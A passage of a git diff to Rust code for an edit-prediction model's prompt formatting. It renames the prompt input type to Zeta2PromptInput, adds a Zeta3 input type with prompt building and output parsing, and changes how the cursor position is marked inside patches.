+/// `Zeta2PromptInput` whose `related_files` don't cover the cursor cannot be
 /// rendered or parsed. Inputs produced by current-file context retrieval
 /// (`ContextSource::CurrentFile`) are already covered and left untouched; this
 /// normalizes the rest (e.g. raw settled-data samples, or any caller that
@@ -333,7 +333,7 @@ pub fn locate_cursor_in_related_files(input: &ZetaPromptInput) -> Option<Related
 /// the synthesized excerpt). Returns `false` only when coverage couldn't be
 /// established — e.g. a missing `excerpt_start_row` or an empty
 /// `cursor_excerpt` — in which case the input is left unchanged.
-pub fn ensure_cursor_file_excerpt(input: &mut ZetaPromptInput) -> bool {
+pub fn ensure_cursor_file_excerpt(input: &mut Zeta2PromptInput) -> bool {
     if locate_cursor_in_related_files(input).is_some() {
         return true;
     }
@@ -391,7 +391,7 @@ pub fn marker_table_for_excerpt(
 }
 
 fn merge_contiguous_snippets(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     marker_table: Vec<SnippetMarkers>,
 ) -> Result<Vec<ParseSnippet<'_>>> {
     let related_files = input
@@ -441,7 +441,7 @@ fn merge_contiguous_snippets(
 }
 
 fn snippet_path_and_start_row(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     snippet: &ParseSnippet<'_>,
 ) -> Result<(PathBuf, u32)> {
     let related_files = input
@@ -565,7 +565,7 @@ pub fn encode_from_old_and_new(
 /// which emits exactly two tags per block and no intermediate tags. Any
 /// unpaired trailing tag is ignored.
 pub fn parse_output_as_patch(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     output: &str,
     cursor_marker: &str,
 ) -> Result<String> {
@@ -651,7 +651,7 @@ fn find_all_marker_tags(text: &str) -> Vec<(String, usize, usize)> {
 /// every region that contains it; the returned [`HashRegionCursor`] reports the
 /// first such position.
 pub fn build_patch_from_spans(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     spans: &[(String, String, String)],
     cursor_marker: &str,
 ) -> Result<(String, Option<HashRegionCursor>)> {
@@ -731,7 +731,7 @@ pub fn build_patch_from_spans(
 /// Apply resolved edits to their snippets and emit one diff section per edited
 /// snippet, in the order snippets first appear in the edit sequence.
 fn assemble_patch_from_edits(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     snippets: &[ParseSnippet<'_>],
     edits: Vec<ParsedSpanEdit>,
 ) -> Result<(String, Option<HashRegionCursor>)> {
@@ -887,7 +887,7 @@ fn detect_trailing_deletion(old_span: &str, new_span: &str) -> Option<String> {
 /// If at least one hunk is reachable, the remaining hunks are still encoded
 /// (partial edit). If no hunk is reachable, the output is `NO_EDITS`.
 pub fn encode_patch_as_output(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     patch: &str,
     cursor_offset: Option<usize>,
     cursor_marker: &str,
@@ -973,8 +973,8 @@ mod tests {
     use std::path::PathBuf;
     use std::sync::Arc;
 
-    fn make_input(cursor_excerpt: &str, related: &[(&str, &[&str])]) -> ZetaPromptInput {
-        ZetaPromptInput {
+    fn make_input(cursor_excerpt: &str, related: &[(&str, &[&str])]) -> Zeta2PromptInput {
+        Zeta2PromptInput {
             cursor_path: PathBuf::from("src/main.rs").into(),
             cursor_excerpt: cursor_excerpt.into(),
             cursor_offset_in_excerpt: 0,
diff --git a/crates/zeta_prompt/src/udiff.rs b/crates/zeta_prompt/src/udiff.rs
index eee1e65931c280..7b4f01e9adfa23 100644
--- a/crates/zeta_prompt/src/udiff.rs
+++ b/crates/zeta_prompt/src/udiff.rs
@@ -88,53 +88,37 @@ pub fn strip_diff_metadata(diff: &str) -> String {
     result
 }
 
-/// Marker used to encode cursor position in patch comment lines.
 pub const CURSOR_POSITION_MARKER: &str = "[CURSOR_POSITION]";
+pub const INLINE_CURSOR_MARKER: &str = "<|user_cursor|>";
 
 /// Extract cursor offset from a patch and return `(clean_patch, cursor_offset)`.
-///
-/// Cursor position is encoded as a comment line (starting with `#`) containing
-/// `[CURSOR_POSITION]`. A `^` in the line indicates the cursor column; a `<`
-/// indicates column 0. The offset is computed relative to addition (`+`) and
-/// context (` `) lines accumulated so far in the hunk, which represent the
-/// cursor position within the new text contributed by the hunk.
 pub fn extract_cursor_from_patch(patch: &str) -> (String, Option<usize>) {
     let mut clean_patch = String::new();
-    let mut cursor_offset: Option<usize> = None;
+    let mut cursor_offset = None;
     let mut line_start_offset = 0usize;
-    let mut prev_line_start_offset = 0usize;
 
     for line in patch.lines() {
-        let diff_line = DiffLine::parse(line);
-
-        match &diff_line {
-            DiffLine::Garbage(content)
-                if content.starts_with('#') && content.contains(CURSOR_POSITION_MARKER) =>
-            {
-                let caret_column = if let Some(caret_pos) = content.find('^') {
-                    caret_pos
-                } else if content.find('<').is_some() {
-                    0
-                } else {
-                    continue;
-                };
-                let cursor_column = caret_column.saturating_sub('#'.len_utf8());
-                cursor_offset = Some(prev_line_start_offset + cursor_column);
-            }
-            _ => {
-                if !clean_patch.is_empty() {
-                    clean_patch.push('\n');
-                }
-                clean_patch.push_str(line);
+        if !clean_patch.is_empty() {
+            clean_patch.push('\n');
+        }
 
-                match diff_line {
-                    DiffLine::Addition(content) | DiffLine::Context(content) => {
-                        prev_line_start_offset = line_start_offset;
-                        line_start_offset += content.len() + 1;
-                    }
-                    _ => {}
+        match DiffLine::parse(line) {
+            DiffLine::Addition(content) => {
+                let clean_content = content.replace(INLINE_CURSOR_MARKER, "");
+                if cursor_offset.is_none()
+                    && let Some(marker_offset) = content.find(INLINE_CURSOR_MARKER)
+                {
+                    cursor_offset = Some(line_start_offset + marker_offset);
                 }
+                clean_patch.push('+');
+                clean_patch.push_str(&clean_content);
+                line_start_offset += clean_content.len() + 1;
             }
+            DiffLine::Context(content) => {
+                clean_patch.push_str(line);
+                line_start_offset += content.len() + 1;
+            }
+            _ => clean_patch.push_str(line),
         }
     }
 
@@ -356,40 +340,33 @@ pub fn encode_cursor_in_patch(patch: &str, cursor_offset: Option<usize>) -> Stri
     let mut line_start_offset = 0usize;
 
     for line in patch.lines() {
-        if matches!(
-            DiffLine::parse(line),
-            DiffLine::Garbage(content)
-                if content.starts_with('#') && content.contains(CURSOR_POSITION_MARKER)
-        ) {
-            continue;
-        }
-
         if !result.is_empty() {
             result.push('\n');
         }
-        result.push_str(line);
 
         match DiffLine::parse(line) {
             DiffLine::Addition(content) => {
+                let content = content.replace(INLINE_CURSOR_MARKER, "");
                 let line_end_offset = line_start_offset + content.len();
-
-                if cursor_offset >= line_start_offset && cursor_offset <= line_end_offset {
-                    let cursor_column = cursor_offset - line_start_offset;
-
-                    result.push('\n');
-                    result.push('#');
-                    for _ in 0..cursor_column {
-                        result.push(' ');
-                    }
-                    write!(result, "^{}", CURSOR_POSITION_MARKER).unwrap();
+                result.push('+');
+                if cursor_offset >= line_start_offset
+                    && cursor_offset <= line_end_offset
+                    && let Some(before) = content.get(..cursor_offset - line_start_offset)
+                    && let Some(after) = content.get(cursor_offset - line_start_offset..)
+                {
+                    result.push_str(before);
+                    result.push_str(INLINE_CURSOR_MARKER);
+                    result.push_str(after);
+                } else {
+                    result.push_str(&content);
                 }
-
                 line_start_offset = line_end_offset + 1;
             }
             DiffLine::Context(content) => {
+                result.push_str(line);
                 line_start_offset += content.len() + 1;
             }
-            _ => {}
+            _ => result.push_str(line),
         }
     }
 
diff --git a/crates/zeta_prompt/src/zeta_prompt.rs b/crates/zeta_prompt/src/zeta_prompt.rs
index 5f106d01b5e0d4..446bd0ff689172 100644
--- a/crates/zeta_prompt/src/zeta_prompt.rs
+++ b/crates/zeta_prompt/src/zeta_prompt.rs
@@ -51,7 +51,7 @@ pub fn clamp_text_to_token_count(text: &str, max_tokens: usize) -> &str {
 }
 
 #[derive(Clone, Debug, PartialEq, Hash, Serialize, Deserialize)]
-pub struct ZetaPromptInput {
+pub struct Zeta2PromptInput {
     pub cursor_path: Arc<Path>,
     pub cursor_excerpt: Arc<str>,
     pub cursor_offset_in_excerpt: usize,
@@ -78,6 +78,30 @@ pub struct ZetaPromptInput {
     pub repo_url: Option<String>,
 }
 
+#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)]
+pub struct FilePosition {
+    pub row: u32,
+    pub column: u32,
+}
+
+#[derive(Clone, Debug, PartialEq, Hash, Serialize, Deserialize)]
+pub struct Zeta3PromptInput {
+    pub cursor_path: Arc<Path>,
+    pub cursor_position: FilePosition,
+    pub events: Vec<Arc<Event>>,
+    pub editable_context: Vec<RelatedFile>,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub syntax_ranges: Vec<Range<usize>>,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub active_buffer_diagnostics: Vec<ActiveBufferDiagnostic>,
+    #[serde(default)]
+    pub in_open_source_repo: bool,
+    #[serde(default)]
+    pub can_collect_data: bool,
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub repo_url: Option<String>,
+}
+
 #[derive(
     Default,
     Clone,
@@ -275,7 +299,7 @@ pub enum ContextSource {
     OracleSnippet,
 }
 
-pub fn prompt_input_contains_special_tokens(input: &ZetaPromptInput, format: ZetaFormat) -> bool {
+pub fn prompt_input_contains_special_tokens(input: &Zeta2PromptInput, format: ZetaFormat) -> bool {
     special_tokens_for_format(format).iter().any(|token| {
         if let Some(line_token) = token.strip_suffix('\n') {
             input.cursor_excerpt.lines().any(|line| line == line_token)
@@ -285,8 +309,49 @@ pub fn prompt_input_contains_special_tokens(input: &ZetaPromptInput, format: Zet
     })
 }
 
-pub fn format_zeta_prompt(input: &ZetaPromptInput, format: ZetaFormat) -> Option<String> {
-    let max_prompt_tokens = match format {
+pub fn format_zeta_prompt(input: &Zeta2PromptInput, format: ZetaFormat) -> Option<String> {
+    format_prompt_with_budget_for_format(input, format, max_prompt_tokens_for_format(format))
+}
+
+pub fn format_zeta3_prompt(input: &Zeta3PromptInput, format: ZetaFormat) -> Option<String> {
+    match format {
+        ZetaFormat::V0318SeedMultiRegions => {}
+        _ => return None,
+    }
+
+    let (current_excerpt, cursor_offset_in_excerpt) = zeta3_current_file_excerpt(input)?;
+    let (context, editable_range, context_range, cursor_offset) = resolve_zeta3_cursor_region(
+        current_excerpt.text.as_ref(),
+        cursor_offset_in_excerpt,
+        &input.syntax_ranges,
+        format,
+    );
+    let relative_row_range =
+        offset_range_to_row_range(current_excerpt.text.as_ref(), context_range);
+    let cursor_row_range = current_excerpt.row_range.start + relative_row_range.start
+        ..current_excerpt.row_range.start + relative_row_range.end;
+    let related_files = filter_redundant_excerpts(
+        zeta3_related_files(input, current_excerpt),
+        input.cursor_path.as_ref(),
+        cursor_row_range,
+    );
+
+    format_resolved_prompt_with_budget(
+        format,
+        input.cursor_path.as_ref(),
+        context,
+        &editable_range,
+        cursor_offset,
+        &input.events,
+        &related_files,
+        &input.active_buffer_diagnostics,
+        Some(input.cursor_position.row),
+        max_prompt_tokens_for_format(format),
+    )
+}
+
+fn max_prompt_tokens_for_format(format: ZetaFormat) -> usize {
+    match format {
         ZetaFormat::V0112MiddleAtEnd
         | ZetaFormat::V0113Ordered
         | ZetaFormat::V0114180EditableRegion
@@ -306,9 +371,88 @@ pub fn format_zeta_prompt(input: &ZetaPromptInput, format: ZetaFormat) -> Option
         ZetaFormat::V0615HashRegions => 8000,
         ZetaFormat::V0420Diagnostics => 8192,
         ZetaFormat::V0327SingleFile => 16384,
-    };
+    }
+}
+
+fn zeta3_current_file_excerpt(input: &Zeta3PromptInput) -> Option<(&RelatedExcerpt, usize)> {
+    input
+        .editable_context
+        .iter()
+        .filter(|file| file.path == input.cursor_path)
+        .flat_map(|file| file.excerpts.iter())
+        .find_map(|excerpt| {
+            if excerpt.context_source != ContextSource::CurrentFile {
+                return None;
+            }
+            Some((
+                excerpt,
+                offset_for_position_in_excerpt(excerpt, input.cursor_position)?,
+            ))
+        })
+}
+
+fn offset_for_position_in_excerpt(
+    excerpt: &RelatedExcerpt,
+    position: FilePosition,
+) -> Option<usize> {
+    if position.row < excerpt.row_range.start {
+        return None;
+    }
+
+    let relative_row = (position.row - excerpt.row_range.start) as usize;
+    let text = excerpt.text.as_ref();
+    let mut row_start = 0;
+
+    for row in 0..=relative_row {
+        if row == relative_row {
+            let row_end = text[row_start..]
+                .find('\n')
+                .map_or(text.len(), |offset| row_start + offset);
+            let row_text = &text[row_start..row_end];
+            let column =
+                row_text.floor_char_boundary((position.column as usize).min(row_text.len()));
+            return Some(row_start + column);
+        }
+
+        row_start += text[row_start..].find('\n')? + 1;
+    }
+
+    None
+}
+
+fn zeta3_related_files(
+    input: &Zeta3PromptInput,
+    current_excerpt: &RelatedExcerpt,
+) -> Vec<RelatedFile> {
+    input
+        .editable_context
+        .iter()
+        .filter_map(|file| {
+            let mut file = file.clone();
+            if file.path == input.cursor_path {
+                file.excerpts.retain(|excerpt| excerpt != current_excerpt);
+            }
+            (!file.excerpts.is_empty()).then_some(file)
+        })
+        .collect()
+}
+
+fn resolve_zeta3_cursor_region<'a>(
+    cursor_excerpt: &'a str,
+    cursor_offset: usize,
+    syntax_ranges: &[Range<usize>],
+    format: ZetaFormat,
+) -> (&'a str, Range<usize>, Range<usize>, usize) {
+    let (editable_tokens, context_tokens) = token_limits_for_format(format);
+    let (editable_range, context_range) = compute_editable_and_context_ranges(
+        cursor_excerpt,
+        cursor_offset,
+        syntax_ranges,
+        editable_tokens,
+        context_tokens,
+    );
 
-    format_prompt_with_budget_for_format(input, format, max_prompt_tokens)
+    adjust_cursor_region(cursor_excerpt, cursor_offset, editable_range, context_range)
 }
 
 pub fn special_tokens_for_format(format: ZetaFormat) -> &'static [&'static str] {
@@ -888,7 +1032,7 @@ fn assemble_single_file_fim_prompt(
 }
 
 fn format_hash_region_related_files_within_budget(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     marker_table: &[hashed_regions::SnippetMarkers],
     cursor: &hashed_regions::RelatedFileCursor,
     max_tokens: usize,
@@ -1020,7 +1164,7 @@ fn format_hash_region_related_files_within_budget(
 }
 
 fn format_hash_regions_prompt_with_budget(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     max_tokens: usize,
 ) -> Option<String> {
     let marker_table = hashed_regions::build_marker_table(input);
@@ -1054,14 +1198,19 @@ fn format_hash_regions_prompt_with_budget(
 }
 
 pub fn format_prompt_with_budget_for_format(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     format: ZetaFormat,
     max_tokens: usize,
 ) -> Option<String> {
+    if format == ZetaFormat::V0615HashRegions {
+        return format_hash_regions_prompt_with_budget(
+            input,
+            apply_prompt_budget_margin(max_tokens),
+        );
+    }
+
     let (context, editable_range, context_range, cursor_offset) =
         resolve_cursor_region(input, format);
-    let path = &*input.cursor_path;
-
     let empty_files = Vec::new();
     let input_related_files = input.related_files.as_deref().unwrap_or(&empty_files);
     let filtered_related_files = if format == ZetaFormat::V0615HashRegions {
@@ -1079,12 +1228,41 @@ pub fn format_prompt_with_budget_for_format(
     } else {
         input_related_files.to_vec()
     };
-    let related_files = filtered_related_files.as_slice();
+    let cursor_buffer_row = input.excerpt_start_row.map(|excerpt_start_row| {
+        excerpt_start_row
+            + input.cursor_excerpt[..context_range.start + cursor_offset]
+                .bytes()
+                .filter(|byte| *byte == b'\n')
+                .count() as u32
+    });
 
+    format_resolved_prompt_with_budget(
+        format,
+        input.cursor_path.as_ref(),
+        context,
+        &editable_range,
+        cursor_offset,
+        &input.events,
+        &filtered_related_files,
+        &input.active_buffer_diagnostics,
+        cursor_buffer_row,
+        max_tokens,
+    )
+}
+
+fn format_resolved_prompt_with_budget(
+    format: ZetaFormat,
+    path: &Path,
+    context: &str,
+    editable_range: &Range<usize>,
+    cursor_offset: usize,
+    events: &[Arc<Event>],
+    related_files: &[RelatedFile],
+    active_buffer_diagnostics: &[ActiveBufferDiagnostic],
+    cursor_buffer_row: Option<u32>,
+    max_tokens: usize,
+) -> Option<String> {
     let prompt = match format {
-        ZetaFormat::V0615HashRegions => {
-            format_hash_regions_prompt_with_budget(input, apply_prompt_budget_margin(max_tokens))?
-        }
         ZetaFormat::V0211SeedCoder
         | ZetaFormat::V0331SeedCoderModelPy
         | ZetaFormat::V0304SeedNoEdits
@@ -1100,27 +1278,19 @@ pub fn format_prompt_with_budget_for_format(
                 &mut cursor_section,
                 path,
                 context,
-                &editable_range,
+                editable_range,
                 cursor_offset,
             );
 
-            let cursor_buffer_row = input.excerpt_start_row.map(|excerpt_start_row| {
-                excerpt_start_row
-                    + input.cursor_excerpt[..context_range.start + cursor_offset]
-                        .bytes()
-                        .filter(|byte| *byte == b'\n')
-                        .count() as u32
-            });
-
             let budget_with_margin = apply_prompt_budget_margin(max_tokens);
             seed_coder::assemble_fim_prompt(
                 context,
-                &editable_range,
+                editable_range,
                 &cursor_section,
-                &input.events,
+                events,
                 related_files,
                 if format == ZetaFormat::V0420Diagnostics {
-                    &input.active_buffer_diagnostics
+                    active_buffer_diagnostics
                 } else {
                     &[]
                 },
@@ -1136,15 +1306,15 @@ pub fn format_prompt_with_budget_for_format(
                 &mut cursor_section,
                 path,
                 context,
-                &editable_range,
+                editable_range,
                 cursor_offset,
             );
 
             qwen::assemble_fim_prompt(
                 context,
-                &editable_range,
+                editable_range,
                 &cursor_section,
-                &input.events,
+                events,
                 related_files,
                 apply_prompt_budget_margin(max_tokens),
             )
@@ -1156,15 +1326,15 @@ pub fn format_prompt_with_budget_for_format(
                 &mut cursor_section,
                 path,
                 context,
-                &editable_range,
+                editable_range,
                 cursor_offset,
             );
 
             assemble_single_file_fim_prompt(
                 context,
-                &editable_range,
+                editable_range,
                 &cursor_section,
-                &input.events,
+                events,
                 apply_prompt_budget_margin(max_tokens),
             )
         }
@@ -1175,7 +1345,7 @@ pub fn format_prompt_with_budget_for_format(
                 &mut cursor_section,
                 path,
                 context,
-                &editable_range,
+                editable_range,
                 cursor_offset,
             );
 
@@ -1184,7 +1354,7 @@ pub fn format_prompt_with_budget_for_format(
             remaining_budget = remaining_budget.saturating_sub(cursor_tokens);
 
             let edit_history_section = format_edit_history_within_budget(
-                &input.events,
+                events,
                 "<|file_sep|>",
                 "edit history",
                 remaining_budget,
@@ -1194,7 +1364,7 @@ pub fn format_prompt_with_budget_for_format(
             remaining_budget = remaining_budget.saturating_sub(edit_history_tokens);
 
             let related_files_section = format_related_files_within_budget(
-                &related_files,
+                related_files,
                 "<|file_sep|>",
                 "",
                 remaining_budget,
@@ -1473,10 +1643,10 @@ pub fn encode_patch_as_output_for_format(
     }
 }
 
-/// Given a `ZetaPromptInput`, a format, and a patch (with cursor already
+/// Given a `Zeta2PromptInput`, a format, and a patch (with cursor already
 /// extracted), produce the expected model output string for training.
 pub fn format_expected_output(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     format: ZetaFormat,
     patch: &str,
     cursor_offset: Option<usize>,
@@ -1659,7 +1829,7 @@ pub fn parsed_output_from_editable_region(
 pub fn parse_zeta2_model_output(
     output: &str,
     format: ZetaFormat,
-    prompt_inputs: &ZetaPromptInput,
+    prompt_inputs: &Zeta2PromptInput,
 ) -> Result<ParsedOutput> {
     let output = match output_end_marker_for_format(format) {
         Some(marker) => output.strip_suffix(marker).unwrap_or(output),
@@ -1737,7 +1907,7 @@ pub fn parse_zeta2_model_output(
 pub fn parse_zeta2_model_output_as_patch(
     output: &str,
     format: ZetaFormat,
-    prompt_inputs: &ZetaPromptInput,
+    prompt_inputs: &Zeta2PromptInput,
 ) -> Result<String> {
     if format == ZetaFormat::V0615HashRegions {
         return hashed_regions::parse_output_as_patch(prompt_inputs, output, CURSOR_MARKER);
@@ -1747,8 +1917,46 @@ pub fn parse_zeta2_model_output_as_patch(
     parsed_output_to_patch(prompt_inputs, parsed)
 }
 
+pub fn parse_zeta3_model_output_as_patch(
+    output: &str,
+    format: ZetaFormat,
+    input: &Zeta3PromptInput,
+) -> Result<String> {
+    match format {
+        ZetaFormat::V0318SeedMultiRegions => {}
+        _ => anyhow::bail!("unsupported Zeta3 output format: {format}"),
+    }
+
+    let output = match output_end_marker_for_format(format) {
+        Some(marker) => output.strip_suffix(marker).unwrap_or(output),
+        None => output,
+    };
+    let (current_excerpt, cursor_offset_in_excerpt) = zeta3_current_file_excerpt(input)
+        .ok_or_else(|| anyhow!("Zeta3 input is missing current-file editable context at cursor"))?;
+    let (context, editable_range_in_context, context_range, _) = resolve_zeta3_cursor_region(
+        current_excerpt.text.as_ref(),
+        cursor_offset_in_excerpt,
+        &input.syntax_ranges,
+        format,
+    );
+    let old_editable_region = &context[editable_range_in_context.clone()];
+    let range_in_excerpt = editable_range_in_context.start + context_range.start
+        ..editable_range_in_context.end + context_range.start;
+    let parsed = parsed_output_from_editable_region(
+        range_in_excerpt,
+        multi_region::apply_marker_span_v0318(old_editable_region, output)?,
+    );
+
+    parsed_output_to_patch_for_excerpt(
+        input.cursor_path.as_ref(),
+        current_excerpt.text.as_ref(),
+        current_excerpt.row_range.start,
+        parsed,
+    )
+}
+
 pub fn cursor_position_from_parsed_output(
-    prompt_inputs: &ZetaPromptInput,
+    prompt_inputs: &Zeta2PromptInput,
     parsed: &ParsedOutput,
 ) -> Option<CursorPosition> {
     let cursor_offset = parsed.cursor_offset_in_new_editable_region?;
@@ -1785,11 +1993,24 @@ pub fn cursor_position_from_parsed_output(
 }
 
 pub fn parsed_output_to_patch(
-    prompt_inputs: &ZetaPromptInput,
+    prompt_inputs: &Zeta2PromptInput,
+    parsed: ParsedOutput,
+) -> Result<String> {
+    parsed_output_to_patch_for_excerpt(
+        prompt_inputs.cursor_path.as_ref(),
+        prompt_inputs.cursor_excerpt.as_ref(),
+        0,
+        parsed,
+    )
+}
+
+fn parsed_output_to_patch_for_excerpt(
+    path: &Path,
+    excerpt: &str,
+    excerpt_start_row: u32,
     parsed: ParsedOutput,
 ) -> Result<String> {
     let range_in_excerpt = parsed.range_in_excerpt;
-    let excerpt = prompt_inputs.cursor_excerpt.as_ref();
     let old_text = excerpt[range_in_excerpt.clone()].to_string();
     let mut new_text = parsed.new_editable_region;
 
@@ -1802,7 +2023,8 @@ pub fn parsed_output_to_patch(
     }
 
     let editable_region_offset = range_in_excerpt.start;
-    let editable_region_start_line = excerpt[..editable_region_offset].matches('\n').count() as u32;
+    let editable_region_start_line =
+        excerpt_start_row + excerpt[..editable_region_offset].matches('\n').count() as u32;
     let editable_region_lines = old_text_normalized.lines().count() as u32;
 
     let diff = udiff::unified_diff_with_context(
@@ -1813,11 +2035,7 @@ pub fn parsed_output_to_patch(
         editable_region_lines,
     );
 
-    let path = prompt_inputs
-        .cursor_path
-        .to_string_lossy()
-        .trim_start_matches('/')
-        .to_string();
+    let path = path.to_string_lossy().trim_start_matches('/').to_string();
     let formatted_diff = format!("--- a/{path}\n+++ b/{path}\n{diff}");
 
     Ok(udiff::encode_cursor_in_patch(
@@ -1834,7 +2052,7 @@ pub fn excerpt_range_for_format(
 }
 
 pub fn resolve_cursor_region(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     format: ZetaFormat,
 ) -> (&str, Range<usize>, Range<usize>, usize) {
     let (editable_range, context_range) = if format == ZetaFormat::V0327SingleFile {
@@ -1859,11 +2077,25 @@ pub fn resolve_cursor_region(
         excerpt_range_for_format(format, &input.excerpt_ranges)
     };
 
+    adjust_cursor_region(
+        &input.cursor_excerpt,
+        input.cursor_offset_in_excerpt,
+        editable_range,
+        context_range,
+    )
+}
+
+fn adjust_cursor_region(
+    cursor_excerpt: &str,
+    cursor_offset: usize,
+    editable_range: Range<usize>,
+    context_range: Range<usize>,
+) -> (&str, Range<usize>, Range<usize>, usize) {
     let context_start = context_range.start;
-    let context_text = &input.cursor_excerpt[context_range.clone()];
+    let context_text = &cursor_excerpt[context_range.clone()];
     let adjusted_editable =
         (editable_range.start - context_start)..(editable_range.end - context_start);
-    let adjusted_cursor = input.cursor_offset_in_excerpt - context_start;
+    let adjusted_cursor = cursor_offset - context_start;
 
     (
         context_text,
@@ -1873,7 +2105,7 @@ pub fn resolve_cursor_region(
     )
 }
 
-pub fn get_prefill(input: &ZetaPromptInput, format: ZetaFormat) -> String {
+pub fn get_prefill(input: &Zeta2PromptInput, format: ZetaFormat) -> String {
     let (context, editable_range, _, _) = resolve_cursor_region(input, format);
     get_prefill_for_format(format, context, &editable_range)
 }
@@ -5120,10 +5352,10 @@ pub mod zeta1 {
         prompt
     }
 
-    /// Formats a complete zeta1 prompt from a `ZetaPromptInput` using the given
+    /// Formats a complete zeta1 prompt from a `Zeta2PromptInput` using the given
     /// editable and context byte-offset ranges within `cursor_excerpt`.
     pub fn format_zeta1_from_input(
-        input: &ZetaPromptInput,
+        input: &Zeta2PromptInput,
         editable_range: Range<usize>,
         context_range: Range<usize>,
     ) -> String {
@@ -5189,7 +5421,7 @@ pub mod zeta1 {
     /// Formats the excerpt section of a zeta1 prompt using byte-offset ranges
     /// within `cursor_excerpt`.
     fn format_zeta1_excerpt(
-        input: &ZetaPromptInput,
+        input: &Zeta2PromptInput,
         editable_range: Range<usize>,
         context_range: Range<usize>,
     ) -> String {
@@ -5298,9 +5530,9 @@ mod tests {
         cursor_offset: usize,
         events: Vec<Event>,
         related_files: Vec<RelatedFile>,
-    ) -> ZetaPromptInput {
+    ) -> Zeta2PromptInput {
         let context_range = 0..cursor_excerpt.len();
-        ZetaPromptInput {
+        Zeta2PromptInput {
             cursor_path: Path::new("test.rs").into(),
             cursor_excerpt: cursor_excerpt.into(),
             cursor_offset_in_excerpt: cursor_offset,
@@ -5329,8 +5561,8 @@ mod tests {
         editable_range: Range<usize>,
         context_range: Range<usize>,
         cursor_offset: usize,
-    ) -> ZetaPromptInput {
-        ZetaPromptInput {
+    ) -> Zeta2PromptInput {
+        Zeta2PromptInput {
             cursor_path: Path::new("test.rs").into(),
             cursor_excerpt: excerpt.into(),
             cursor_offset_in_excerpt: cursor_offset,
@@ -5380,7 +5612,7 @@ mod tests {
         }
     }
 
-    fn format_with_budget(input: &ZetaPromptInput, max_tokens: usize) -> Option<String> {
+    fn format_with_budget(input: &Zeta2PromptInput, max_tokens: usize) -> Option<String> {
         format_prompt_with_budget_for_format(input, ZetaFormat::V0114180EditableRegion, max_tokens)
     }
 
@@ -5811,13 +6043,13 @@ mod tests {
     }
 
     #[track_caller]
-    fn format_seed_coder(input: &ZetaPromptInput) -> String {
+    fn format_seed_coder(input: &Zeta2PromptInput) -> String {
         format_prompt_with_budget_for_format(input, ZetaFormat::V0211SeedCoder, 10000)
             .expect("seed coder prompt formatting should succeed")
     }
 
     #[track_caller]
-    fn format_seed_coder_with_budget(input: &ZetaPromptInput, max_tokens: usize) -> String {
+    fn format_seed_coder_with_budget(input: &Zeta2PromptInput, max_tokens: usize) -> String {
         format_prompt_with_budget_for_format(input, ZetaFormat::V0211SeedCoder, max_tokens)
             .expect("seed coder prompt formatting should succeed")
     }
@@ -6056,7 +6288,7 @@ mod tests {
     fn test_v0615_formats_hashed_markers_for_rendered_related_context() {
         let current_text = "fn main() {\n    let value = 1;\n}\n";
         let cursor_offset = current_text.find("let value").unwrap();
-        let input = ZetaPromptInput {
+        let input = Zeta2PromptInput {
             cursor_path: Path::new("test.rs").into(),
             cursor_excerpt: current_text.into(),
             cursor_offset_in_excerpt: cursor_offset,
@@ -6130,7 +6362,7 @@ mod tests {
     fn test_v0615_parse_related_file_jump_as_patch() {
         let current_text = "fn main() {\n    helper();\n}\n";
         let helper_text = "fn helper() {\n    one();\n}\n";
-        let input = ZetaPromptInput {
+        let input = Zeta2PromptInput {
             cursor_path: Path::new("test.rs").into(),
             cursor_excerpt: current_text.into(),
             cursor_offset_in_excerpt: current_text.find("helper").unwrap(),
@@ -6190,7 +6422,7 @@ mod tests {
     fn test_v0615_expected_output_round_trips_to_patch() {
         let current_text = "fn main() {\n    helper();\n}\n";
         let helper_text = "fn helper() {\n    one();\n}\n";
-        let input = ZetaPromptInput {
+        let input = Zeta2PromptInput {
             cursor_path: Path::new("test.rs").into(),
             cursor_excerpt: current_text.into(),
             cursor_offset_in_excerpt: current_text.find("helper").unwrap(),
@@ -6254,6 +6486,110 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_zeta3_prompt_matches_zeta2_seed_multi_region_prompt() {
+        let excerpt = "fn main() {\n    helper();\n}\n";
+        let cursor_offset = excerpt.find("helper").expect("cursor text exists") + "help".len();
+        let cursor_row_start = excerpt.find("    helper").expect("cursor row exists");
+        let syntax_ranges = vec![0..excerpt.len()];
+        let related_file = make_related_file("related.rs", "fn helper() {}\n");
+        let mut zeta2_input = make_input(
+            excerpt,
+            0..excerpt.len(),
+            cursor_offset,
+            vec![make_event("test.rs", "-old\n+new\n")],
+            vec![related_file.clone()],
+        );
+        zeta2_input.excerpt_start_row = Some(10);
+        zeta2_input.excerpt_ranges =
+            compute_legacy_excerpt_ranges(excerpt, cursor_offset, &syntax_ranges);
+        zeta2_input.syntax_ranges = Some(syntax_ranges.clone());
+
+        let zeta3_input = Zeta3PromptInput {
+            cursor_path: Path::new("test.rs").into(),
+            cursor_position: FilePosition {
+                row: 11,
+                column: (cursor_offset - cursor_row_start) as u32,
+            },
+            events: vec![Arc::new(make_event("test.rs", "-old\n+new\n"))],
+            editable_context: vec![
+                RelatedFile {
+                    path: Path::new("test.rs").into(),
+                    max_row: 12,
+                    excerpts: vec![RelatedExcerpt {
+                        row_range: 10..12,
+                        text: excerpt.into(),
+                        order: 0,
+                        context_source: ContextSource::CurrentFile,
+                    }],
+                    in_open_source_repo: false,
+                },
+                related_file,
+            ],
+            syntax_ranges,
+            active_buffer_diagnostics: vec![],
+            in_open_source_repo: false,
+            can_collect_data: false,
+            repo_url: None,
+        };
+
+        assert_eq!(
+            format_zeta3_prompt(&zeta3_input, ZetaFormat::V0318SeedMultiRegions),
